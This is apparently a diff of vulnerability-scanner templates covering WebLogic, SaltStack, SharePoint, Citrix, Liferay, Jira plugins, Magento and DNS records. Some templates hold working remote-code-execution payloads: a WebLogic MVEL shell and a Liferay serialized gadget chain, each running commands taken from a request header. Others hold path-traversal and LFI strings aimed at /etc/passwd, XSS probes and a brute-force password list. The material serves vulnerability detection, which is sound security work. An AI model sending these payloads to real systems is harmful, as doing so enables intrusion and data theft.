+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: cve-2020-16846
+
+info:
+  name: SaltStack Shell Injection
+  author: dwisiswant0
+  severity: critical
+  description: |
+    SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
+    with the SSH client enabled, can result in shell injection.
+
+    This template supports the detection part only. See references.
+
+    References:
+    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+    - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/run"
+      - "{{BaseURL}}:8000/run"
+    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
+    headers:
+      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
@@ -1,7 +1,7 @@
 id: cve-2020-16952

 info:
-  name: Microsoft SharePoint Server DataFormWebPart CreateChildControls Server-Side Include RCE
+  name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE
  author: dwisiswant0
  severity: critical

@@ -10,18 +10,27 @@ info:
  # - [1] Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952
  # - [2] https://srcincite.io/pocs/cve-2020-16952.py.txt
  # - [3] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952
+  # - [4] https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md

 requests:
-  - method: PUT
+  - method: GET
    path:
-      - "{{BaseURL}}/poc.aspx"
-    body: "<asp:Literal runat=\"server\" Text=\"<%$SPTokens:{ProductNumber}%>\" />"
+      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
+      - type: regex
+        regex:
+          - "15\\.0\\.0\\.(4571|5275|4351|5056)"
+          - "16\\.0\\.0\\.(10337|10364|10366)"
+          # - "16.0.10364.20001"
+        condition: or
+        part: body
      - type: word
        words:
-          - "16.0.10364.20001"
-        part: body
+          - "MicrosoftSharePointTeamServices"
+        part: header
      - type: status
        status:
-          - 200
+          - 200
+          - 201
+        condition: or
@@ -0,0 +1,39 @@
+id: cve-2020-26214
+info:
+
+  name: Alerta Authentication Bypass (CVE-2020-26214)
+  author: CasperGN
+  severity: critical
+  description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
+
+  # Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
+  # Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/config'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+        condition: or
+      - type: regex
+        regex:
+          - 'provider":"ldap"'
+          - 'provider": "ldap"'
+        condition: or
+    extractors:
+      - type: regex
+        part: body
+        name: alerta-version
+        group: 1
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
@@ -36,16 +36,15 @@ requests:
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        X-Requested-With: XMLHttpRequest
        cmd2: command
-        Accept-Encoding: gzip, deflate

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
    matchers-condition: and
    matchers:
-      - type: word
-        words:
-          - "Microsoft Corporation"
-          - "Distributor ID"
-          - "kern.ostype"
+      - type: regex
+        regex:
+          - "OS Name:.*Microsoft Windows"
+          - "Distributor ID:"
+          - "kern\\.ostype"
        condition: or
        part: body
      - type: status
@@ -56,5 +55,5 @@ requests:
        part: body
        regex:
          - "Microsoft Windows (.*)"
-          - "kern.ostype: (.*)"
+          - "kern\\.ostype: (.*)"
          - "Distributor ID: (.*)"
@@ -0,0 +1,31 @@
+id: cve-2020-8209
+
+info:
+  name: Citrix XenMobile Server Path Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    Improper access control in Citrix XenMobile Server 10.12 before RP2,
+    Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
+    before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
+
+    References:
+    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: word
+        words:
+          - "fileDownload=true"
+          - "application/octet-stream"
+          - "attachment;"
+        condition: and
+        part: header
@@ -0,0 +1,29 @@
+id: cve-2020-9344
+
+info:
+  name: Jira Subversion ALM for enterprise XSS
+  author: madrobot
+  severity: medium
+  description: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations.
+
+# source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
+# https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
+# https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -18,7 +18,6 @@ requests:
          Content-Type: application/json
          Origin: http://{{Hostname}}
          Referer: http://{{Hostname}}/artifactory/webapp/
-          Accept-Encoding: gzip, deflate
          Accept-Language: en-US,en;q=0.9
          Connection: close

@@ -7,8 +7,10 @@ info:

  # Update the list with more CNAMEs related to azure
  # You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover.
+  # Reference:- https://godiego.tech/posts/STO/, kudos to @secfaults for sharing process details.
  # Do not report this without claiming the CNAME.

+
 dns:
  - name: "{{FQDN}}"
    type: A
@@ -0,0 +1,71 @@
+id: mx-service-detector
+
+info:
+  name: E-mail service detector
+  author: binaryfigments
+  severity: info
+  description: Check the email service or spamfilter that is used for a domain.
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    class: inet
+    recursion: true
+    retries: 5
+    matchers-condition: or
+    matchers:
+      - type: word
+        name: "Office 365"
+        words:
+          - "mail.protection.outlook.com"
+      - type: word
+        name: "Google Apps"
+        words:
+          - "aspmx2.googlemail.com"
+          - "aspmx3.googlemail.com"
+          - "alt1.aspmx.l.google.com"
+          - "alt2.aspmx.l.google.com"
+          - "aspmx.l.google.com"
+      - type: word
+        name: "ProtonMail"
+        words:
+          - "mail.protonmail.ch"
+          - "mailsec.protonmail.ch"
+      - type: word
+        name: "Zoho Mail"
+        words:
+          - "mx.zoho.eu"
+          - "mx2.zoho.eu"
+          - "mx3.zoho.eu"
+      - type: word
+        name: "ForcePoint Email Security"
+        words:
+          - "in.mailcontrol.com"
+      - type: word
+        name: "E-Zorg NL"
+        words:
+          - "spamfilter02.ezorg.nl"
+          - "spamfilter01.ezorg.nl"
+          - "spamfilter.ezorg.nl"
+          - "spamfilter03.ezorg.nl"
+      - type: word
+        name: "Kerio Cloud EU"
+        words:
+          - "mx1.eu1.kerio.cloud"
+          - "mx2.eu1.kerio.cloud"
+      - type: word
+        name: "Kerio Cloud US"
+        words:
+          - "mx1.us1.kerio.cloud"
+          - "mx2.us1.kerio.cloud"
+          - "mx3.us1.kerio.cloud"
+      - type: word
+        name: "Proofpoint EU"
+        words:
+          - "mx1-eu1.ppe-hosted.com"
+          - "mx2-eu1.ppe-hosted.com"
+      - type: word
+        name: "Proofpoint US"
+        words:
+          - "mx1-us1.ppe-hosted.com"
+          - "mx2-us1.ppe-hosted.com"
@@ -0,0 +1,20 @@
+id: spoofable-spf-records-ptr
+
+info:
+  name: Find spoofable SPF records containing the PTR mechanism
+  author: binaryfigments
+  severity: info
+  description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
+
+dns:
+  - name: "{{FQDN}}"
+    type: TXT
+    class: inet
+    recursion: true
+    retries: 3
+    matchers:
+      - type: word
+        words:
+          - "v=spf1"
+          - " ptr "
+        condition: and
@@ -11,6 +11,7 @@ requests:
      - "{{BaseURL}}/.svn/entries"
      - "{{BaseURL}}/.svn/prop-base/"
      - "{{BaseURL}}/.svn/text-base/"
+
    matchers-condition: and
    matchers:
      - type: regex
@@ -20,3 +21,7 @@ requests:
      - type: status
        status:
          - 200
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
@@ -14,12 +14,16 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 1
        Connection: close

+    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "[core]"
+          - "[core]"
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
@@ -0,0 +1,27 @@
+id: magento-config
+info:
+  name: Magento Config Disclosure
+  author: geeknik
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/app/etc/local.xml"
+      - "{{BaseURL}}/store/app/etc/local.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/xml"
+        part: header
+
+      - type: word
+        words:
+          - "Magento"
+        part: body
@@ -2,7 +2,7 @@ id: server-status-localhost

 info:
  name: Server Status Disclosure
-  author: bauthard
+  author: bauthard & geeknik
  severity: low

 requests:
@@ -14,6 +14,8 @@ requests:
      X-Remote-Addr: "127.0.0.1"
      X-Forwarded-For: "127.0.0.1"
      X-Originating-IP: "127.0.0.1"
+      X-Host: "127.0.0.1"
+      X-Forwarded-Host: "127.0.0.1"
    path:
      - "{{BaseURL}}/server-status"
    matchers:
@@ -0,0 +1,98 @@
+id: basic-auth-bruteforce
+
+info:
+  name: Basic Auth Bruteforce
+  author: "@w4cky_"
+  severity: high
+
+  # Impotent Notes:-
+  # This is specific template to work with basic 401 authentication endpoint.
+  # Do not run this template on non basic authentication related endpoints to avoid false positive results.
+
+requests:
+
+  - payloads:
+      username:
+        - admin
+        - manager
+        - administrator
+        - username
+        - login
+        - anonymous
+        - test
+        - guest
+        - root
+        - demo
+
+      password:
+        - admin
+        - pass1
+        - pass1
+        - root
+        - welcome
+        - p@ssw0rd
+        - user
+        - test
+        - testest
+        - dupa8
+        - admin123
+        - admin1234
+        - admin12345
+        - anonymous
+        - manager
+        - linux
+        - system
+        - oracle
+        - administrator
+        - 11111111
+        - qwerty123
+        - cisco123
+        - admin123456
+        - 1qazXSW@
+        - master
+        - 123qweasd
+        - 1qaz2wsx
+        - 123456789
+        - 1234567890
+        - !qaz@wsx
+        - !q@w
+        - wubao
+        - pa55w0rd
+        - 123abc
+        - 123456
+        - 123456789
+        - qwerty
+        - password
+        - 1111111
+        - 12345678
+        - abc123
+        - 1234567
+        - password1
+        - 12345
+        - 1234567890
+        - 123123
+        - 000000
+        - Iloveyou
+        - 1234
+        - 1q2w3e4r5t
+        - Qwertyuiop
+        - 123
+        - Monkey
+        - Dragon
+        - demo
+
+    attack: clusterbomb
+
+    raw:
+      - |
+        GET /protected HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic {{base64('username:password')}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+    matchers:
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: generic-lfi-fuzzing
+info:
+  name: Generic LFI Test
+  author: geeknik
+  severity: high
+  description: A generic test for Local File Inclusion
+
+requests:
+  - method: GET
+    path:
+      - "/?q=../../../etc/passwd&s=../../../etc/passwd&search=../../../etc/passwd&id=&action=../../../etc/passwd&keyword=../../../etc/passwd&query=../../../etc/passwd&page=../../../etc/passwd&keywords=../../../etc/passwd&url=../../../etc/passwd&view=../../../etc/passwd&cat=../../../etc/passwd&name=../../../etc/passwd&key=../../../etc/passwd&p=../../../etc/passwd"
+      - "/?q=../../../etc/passwd%00&s=../../../etc/passwd%00&search=../../../etc/passwd%00&id=../../../etc/passwd%00&action=../../../etc/passwd%00&keyword=../../../etc/passwd%00&query=../../../etc/passwd%00&page=../../../etc/passwd%00&keywords=../../../etc/passwd%00&url=../../../etc/passwd%00&view=../../../etc/passwd%00&cat=../../../etc/passwd%00&name=../../../etc/passwd%00&key=../../../etc/passwd%00&p=../../../etc/passwd%00"
+      - "/?q=%252e%252e%252fetc%252fpasswd&s=%252e%252e%252fetc%252fpasswd&search=%252e%252e%252fetc%252fpasswd&id=%252e%252e%252fetc%252fpasswd&action=%252e%252e%252fetc%252fpasswd&keyword=%252e%252e%252fetc%252fpasswd&query=%252e%252e%252fetc%252fpasswd&page=%252e%252e%252fetc%252fpasswd&keywords=%252e%252e%252fetc%252fpasswd&url=%252e%252e%252fetc%252fpasswd&view=%252e%252e%252fetc%252fpasswd&cat=%252e%252e%252fetc%252fpasswd&name=%252e%252e%252fetc%252fpasswd&key=%252e%252e%252fetc%252fpasswd&p=%252e%252e%252fetc%252fpasswd"
+      - "/?q=%252e%252e%252fetc%252fpasswd%00&s=%252e%252e%252fetc%252fpasswd%00&search=%252e%252e%252fetc%252fpasswd%00&id=%252e%252e%252fetc%252fpasswd%00&action=%252e%252e%252fetc%252fpasswd%00&keyword=%252e%252e%252fetc%252fpasswd%00&query=%252e%252e%252fetc%252fpasswd%00&page=%252e%252e%252fetc%252fpasswd%00&keywords=%252e%252e%252fetc%252fpasswd%00&url=%252e%252e%252fetc%252fpasswd%00&view=%252e%252e%252fetc%252fpasswd%00&cat=%252e%252e%252fetc%252fpasswd%00&name=%252e%252e%252fetc%252fpasswd%00&key=%252e%252e%252fetc%252fpasswd%00&p=%252e%252e%252fetc%252fpasswd%00"
+      - "/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+      - "/?q=....//....//etc/passwd&s=....//....//etc/passwd&search=....//....//etc/passwd&id=....//....//etc/passwd&action=....//....//etc/passwd&keyword=....//....//etc/passwd&query=....//....//etc/passwd&page=....//....//etc/passwd&keywords=....//....//etc/passwd&url=....//....//etc/passwd&view=....//....//etc/passwd&cat=....//....//etc/passwd&name=....//....//etc/passwd&key=....//....//etc/passwd&p=....//....//etc/passwd"
+      - "/?q=..///////..////..//////etc/passwd&s=..///////..////..//////etc/passwd&search=..///////..////..//////etc/passwd&id=..///////..////..//////etc/passwd&action=..///////..////..//////etc/passwd&keyword=..///////..////..//////etc/passwd&query=..///////..////..//////etc/passwd&page=..///////..////..//////etc/passwd&keywords=..///////..////..//////etc/passwd&url=..///////..////..//////etc/passwd&view=..///////..////..//////etc/passwd&cat=..///////..////..//////etc/passwd&name=..///////..////..//////etc/passwd&key=..///////..////..//////etc/passwd&p=..///////..////..//////etc/passwd"
+      - "/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
+      - "/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"
+    matchers:
+      - type: regex
+        words:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,35 @@
+id: wp-plugin-scan
+info:
+  name: Wordpress Plugin Scanner
+  author: pdteam
+  severity: info
+  description: wordlist based wordpress plugin scanner.
+
+requests:
+
+  - payloads:
+      plugin_wordlist: wordlists/wp-plugins.txt
+
+      # Thanks to RandomRobbieBF for the wordlist
+      # https://github.com/RandomRobbieBF/wordpress-plugin-list
+
+    attack: sniper
+    threads: 50
+
+    raw:
+      - |
+        GET /plugin_wordlist HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "== Description =="
@@ -2,7 +2,7 @@ id: basic-xss-prober

 info:
  name: Basic XSS Prober
-  author: nadino
+  author: nadino & geeknik
  severity: low

  # Basic XSS prober
@@ -12,7 +12,15 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "\"><injectable>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -5,8 +5,8 @@ info:
  # Name is the name of the template
  name: Top 15 XSS Check
